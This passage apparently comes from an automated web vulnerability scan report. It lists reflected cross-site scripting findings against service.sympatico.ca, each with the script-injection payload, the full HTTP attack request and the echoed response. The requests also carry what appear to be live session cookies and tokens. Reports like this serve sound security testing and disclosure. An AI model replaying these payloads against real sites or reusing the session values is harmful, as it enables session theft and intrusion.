Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:44 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/jsb41f5"><script>alert(1)</script>c835f085fd0/tooltip.js" />
...[SNIP]...

2.223. http://service.sympatico.ca/js/tooltip.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/tooltip.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b16f8"><script>alert(1)</script>ed09cf27feb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/tooltip.jsb16f8"><script>alert(1)</script>ed09cf27feb HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:48 GMT
Connection: close
Set-Cookie: SMSESSION=CFgc01T/bWRRogZX3FZOBFRduJX9j+i/L3BeTpeA5qR90TqTbSjKRFU4EisXi+JagyYOZ1aie/IibSXY3IuD0T2U+FA8Nqk0zaoX+rxI6Lxl/4J5iSQtE4q3cZZorqigpOYUequ2qH8kWar2maD7QYMdIa+JbmqJ8AbTcQqT4VN5pyaqOWxG6Lh+FWIAcZXZ5lXaMvo7iMxgzR9EVHPa901IIkfwOqC5zvi3qtZkzuFRLT4MFHPjdanGe4xKDrS9VaxrftI5A8VwgxGgMnT6lKl7ObIC/j1cBFRis4l6N7ZWxknZHu4e4Q==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:48 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:48 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:48 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:48 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:48 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:48 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:48 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:48 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:48 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:48 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:48 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:48 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:48 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:48 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
pe="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/tooltip.jsb16f8"><script>alert(1)</script>ed09cf27feb" />
...[SNIP]...

2.224. https://service.sympatico.ca/css/bannerPlayer.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/bannerPlayer.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4822"><script>alert(1)</script>791c15721d5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /cssc4822"><script>alert(1)</script>791c15721d5/bannerPlayer.css HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?44bf1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3EHOYT.LLC.RESEACH.XSS.PC.11.23.2010.SERVICE.BELL.CA=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617907830%3B; SMSESSION=RxPju1Fnl8M8/HakDRQhtu1rw2j0ZgInL9rkL/BnBVhjyt42PkiP1cGAflPIdaf0WcsMRVR3M4/vN0Yym41JIsP64rCkx0UYoXWdT7/ueAK8V8aU6Yl3dwoNKD4SA5vAsZ6pPcyLLHCipdw0wsOza/hJCVZahb9hxXJAbWvttNj5U/iRTvkH4+eDFrljD9slOcgK3Y/iElmJcz7id9E/04NN4LSXjACgM9Z+TRl9UFpu3v5REL+Oiv4vMyJTF6/ECXmh2A1e1a89WtfWMtleUTdNaKp0otf+gJkbrb65t3Nd040Rn8t4UA==; CFID=139007246; CFTOKEN=83522848; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=7E86934D%2D65B8%2DB1E2%2D5DA15C856F2469B7; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=https%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%3F44bf1%22%3E%3Cscript%3Ealert%28document%2Ecookie%29%3C%2Fscript%3EHOYT%2ELLC%2ERESEACH%2EXSS%2EPC%2E11%2E23%2E2010%2ESERVICE%2EBELL%2ECA%3D1; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:48 GMT
Connection: close
Set-Cookie: SMSESSION=AgCSBFSiLLWJCwQWcbyMt5kOuHJJcUvUGs1UqVoFdypekiiGxQjyK+dyjsYxyJ4sj6QlbP9SvIobOeI36W5L7txCCDYHJ8vGQK/bZRBIjaPmM2vSC/Rawps9G4ffTHT3Oie0EKVaha85xhbutDS3skWIcnVfX5HKKhVVXGQlNgw67T+WAzhBMhPx5GKLPheT7L+4fiLpqwq+Iw/Lb8wTVOvnL+7J+J5BtqmDm8UpQpUGFDdGU6KdU13ksVZyEa6KvFzkYNQvZOfjlMneiGopBL5/uhnW1jKoK4SfP4UZSOnznjl1Te9MKg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:48 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:48 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:48 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:48 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:48 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:48 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:48 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:48 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:48 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:48 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/cssc4822"><script>alert(1)</script>791c15721d5/bannerPlayer.css" />
...[SNIP]...

2.225. https://service.sympatico.ca/css/bannerPlayer.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/bannerPlayer.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 809d0"><script>alert(1)</script>1acd3280482 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css/bannerPlayer.css809d0"><script>alert(1)</script>1acd3280482 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?44bf1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3EHOYT.LLC.RESEACH.XSS.PC.11.23.2010.SERVICE.BELL.CA=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617907830%3B; SMSESSION=RxPju1Fnl8M8/HakDRQhtu1rw2j0ZgInL9rkL/BnBVhjyt42PkiP1cGAflPIdaf0WcsMRVR3M4/vN0Yym41JIsP64rCkx0UYoXWdT7/ueAK8V8aU6Yl3dwoNKD4SA5vAsZ6pPcyLLHCipdw0wsOza/hJCVZahb9hxXJAbWvttNj5U/iRTvkH4+eDFrljD9slOcgK3Y/iElmJcz7id9E/04NN4LSXjACgM9Z+TRl9UFpu3v5REL+Oiv4vMyJTF6/ECXmh2A1e1a89WtfWMtleUTdNaKp0otf+gJkbrb65t3Nd040Rn8t4UA==; CFID=139007246; CFTOKEN=83522848; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=7E86934D%2D65B8%2DB1E2%2D5DA15C856F2469B7; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=https%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%3F44bf1%22%3E%3Cscript%3Ealert%28document%2Ecookie%29%3C%2Fscript%3EHOYT%2ELLC%2ERESEACH%2EXSS%2EPC%2E11%2E23%2E2010%2ESERVICE%2EBELL%2ECA%3D1; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:50 GMT
Connection: close
Set-Cookie: SMSESSION=oxdhX2dhIBMFm9MGtqqiPqyuIZdyJvSuPZ+htfyDv+WOec5JE8Yxgc8WP6cuWTAcjniXuQBk549nX/9rtUS5D4jgnrKHnmPkYDDSrpKG4J+Jmlk8LqXrAMtyKxUe4O6Rq2zS/dc87lqXH3p60U2fi6bxs6nQuQenAuL5wxjC+aVb2+kkvj0VRtIVZRRsv80c/BL/7fzMZwVTytlWUYfhhZW9+TLZguDikZKb6C5G1QovyetIyVk367sduPKw3Vu44D59Zc6B0KxLZ9gQu7HgjpPXxQGfvznoKcbJo9hdNl6Rc4LBHNYQkA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:51 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:51 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:51 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:51 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:51 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:51 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:51 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:51 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:51 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%